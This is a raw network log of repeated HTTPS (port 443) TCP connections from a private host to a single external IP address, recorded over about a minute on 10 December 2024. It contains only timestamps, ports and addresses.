Dec 10, 2024 16:29:15.521321058 CET	443	49754	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:17.691730022 CET	443	49754	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:17.693377972 CET	49754	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:17.693427086 CET	443	49754	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:18.516307116 CET	443	49754	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:18.516333103 CET	443	49754	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:18.516403913 CET	443	49754	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:18.516458035 CET	49754	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:18.516489983 CET	49754	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:18.517035961 CET	49754	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:18.517643929 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:18.517685890 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:18.517771006 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:18.517977953 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:18.517987967 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:20.619223118 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:20.621314049 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:20.621330023 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:21.422286034 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:21.422314882 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:21.422384977 CET	443	49755	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:21.422432899 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:21.422497988 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:21.422961950 CET	49755	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:21.423577070 CET	49756	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:21.423618078 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:21.423841953 CET	49756	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:21.424168110 CET	49756	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:21.424186945 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:23.535685062 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:23.546026945 CET	49756	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:23.546062946 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:24.320864916 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:24.320888996 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:24.320947886 CET	443	49756	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:24.321100950 CET	49756	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:24.321713924 CET	49756	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:24.322884083 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:24.322928905 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:24.326704979 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:24.327068090 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:24.327081919 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:26.397723913 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:26.440128088 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:26.449462891 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:26.449480057 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:27.272959948 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:27.272983074 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:27.273045063 CET	443	49757	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:27.273078918 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:27.273116112 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:27.273657084 CET	49757	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:27.274254084 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:27.274327040 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:27.274508953 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:27.274782896 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:27.274796009 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:29.327477932 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:29.348433971 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:29.348458052 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:30.163526058 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:30.163553953 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:30.163631916 CET	443	49758	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:30.163697958 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:30.163738966 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:30.164321899 CET	49758	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:30.164954901 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:30.165010929 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:30.165100098 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:30.165335894 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:30.165347099 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:32.286006927 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:32.312170982 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:32.312220097 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:33.137398005 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:33.137423038 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:33.137466908 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:33.137487888 CET	443	49759	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:33.137522936 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:33.138001919 CET	49759	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:33.138509035 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:33.138554096 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:33.138612032 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:33.138853073 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:33.138864040 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:35.237034082 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:35.238656998 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:35.238684893 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:36.051156044 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:36.051178932 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:36.051255941 CET	443	49760	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:36.051280975 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:36.051306009 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:36.051717043 CET	49760	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:36.052258015 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:36.052309990 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:36.052392960 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:36.052592993 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:36.052608013 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.069113970 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.078464985 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.078495026 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.891912937 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.891940117 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.891999960 CET	443	49761	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.892069101 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.892095089 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.892653942 CET	49761	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.893311977 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.893367052 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:38.893429041 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.893693924 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:38.893718004 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:40.990353107 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:40.992064953 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:40.992094994 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:41.778199911 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:41.778227091 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:41.778286934 CET	443	49762	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:41.778398037 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:41.778513908 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:41.778945923 CET	49762	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:41.779555082 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:41.779587030 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:41.779694080 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:41.779912949 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:41.779923916 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:43.854223013 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:43.855777025 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:43.855802059 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:44.670023918 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:44.670051098 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:44.670114040 CET	443	49763	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:44.670178890 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:44.670205116 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:44.670725107 CET	49763	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:44.671303034 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:44.671406031 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:44.671525955 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:44.671727896 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:44.671766043 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:46.755108118 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:46.756611109 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:46.756640911 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:47.540333986 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:47.540369034 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:47.540443897 CET	443	49764	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:47.540451050 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:47.540488958 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:47.544234991 CET	49764	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:47.544771910 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:47.544816971 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:47.544898987 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:47.545152903 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:47.545170069 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:49.628102064 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:49.629800081 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:49.629810095 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:50.435972929 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:50.436005116 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:50.436079979 CET	443	49765	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:50.436235905 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:50.436235905 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:50.436661005 CET	49765	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:50.437266111 CET	49766	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:50.437313080 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:50.437398911 CET	49766	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:50.437619925 CET	49766	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:50.437645912 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:52.516496897 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:52.520545959 CET	49766	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:52.520560980 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:53.312196970 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:53.312227011 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:53.312306881 CET	443	49766	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:53.312482119 CET	49766	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:53.312974930 CET	49766	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:53.313514948 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:53.313575029 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:53.313659906 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:53.313880920 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:53.313895941 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:55.397782087 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:55.399604082 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:55.399646997 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:56.201476097 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:56.201492071 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:56.201539040 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:56.201572895 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:56.201587915 CET	443	49767	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:56.201627970 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:56.202589989 CET	49767	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:56.203403950 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:56.203443050 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:56.203510046 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:56.203994989 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:56.204009056 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:58.293308020 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:58.295341015 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:58.295356989 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:59.185849905 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:59.185879946 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:59.185952902 CET	443	49768	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:59.185990095 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:59.186029911 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:59.186686039 CET	49768	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:59.187097073 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:59.187125921 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:29:59.187200069 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:59.187414885 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:29:59.187422991 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:01.287694931 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:01.289478064 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:01.289503098 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:02.079487085 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:02.079515934 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:02.079585075 CET	443	49769	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:02.079608917 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:02.079652071 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:02.080138922 CET	49769	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:02.080657959 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:02.080709934 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:02.080801964 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:02.081020117 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:02.081031084 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.145190954 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.147108078 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.147123098 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.971393108 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.971415043 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.971482038 CET	443	49770	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.971560955 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.971592903 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.972356081 CET	49770	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.972929001 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.972963095 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:04.974771976 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.974971056 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:04.974987030 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:07.043699026 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:07.045408010 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:07.045423985 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:08.144686937 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:08.144711018 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:08.144793034 CET	443	49771	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:08.144840956 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:08.144879103 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:08.145569086 CET	49771	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:08.146150112 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:08.146207094 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:08.146295071 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:08.146562099 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:08.146586895 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.229820013 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.231950045 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.231971025 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.962615013 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.962637901 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.962701082 CET	443	49772	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.962743998 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.962796926 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.966707945 CET	49772	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.967327118 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.967390060 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:10.967448950 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.967674017 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:10.967689991 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.038268089 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.046117067 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.046159029 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.861282110 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.861299992 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.861370087 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.861375093 CET	443	49773	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.861424923 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.862008095 CET	49773	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.862699032 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.862737894 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:13.862806082 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.863037109 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:13.863049030 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:15.943689108 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:15.945337057 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:15.945350885 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:16.740180969 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:16.740209103 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:16.740268946 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:16.740273952 CET	443	49774	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:16.740313053 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:16.740753889 CET	49774	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:16.741317034 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:16.741359949 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:16.741435051 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:16.741632938 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:16.741646051 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:18.850009918 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:18.851578951 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:18.851623058 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:19.661657095 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:19.661688089 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:19.661767006 CET	443	49775	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:19.661799908 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:19.661837101 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:19.662323952 CET	49775	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:19.662815094 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:19.662863016 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:19.662929058 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:19.663153887 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:19.663168907 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:21.750158072 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:21.751805067 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:21.751821041 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:22.805948973 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:22.805967093 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:22.806008101 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:22.806022882 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:22.806046963 CET	443	49776	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:22.806082964 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:22.806524992 CET	49776	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:22.807068110 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:22.807120085 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:22.807184935 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:22.807394981 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:22.807405949 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:24.887818098 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:24.889529943 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:24.889561892 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:25.705406904 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:25.705430031 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:25.705504894 CET	443	49777	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:25.705538034 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:25.705590963 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:25.706258059 CET	49777	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:25.706851006 CET	49778	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:25.706897020 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:25.710937977 CET	49778	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:25.711253881 CET	49778	443	192.168.2.8	194.15.112.248
Dec 10, 2024 16:30:25.711266041 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:27.796731949 CET	443	49778	194.15.112.248	192.168.2.8
Dec 10, 2024 16:30:27.798222065 CET	49778	443	192.168.2.8	194.15.112.248
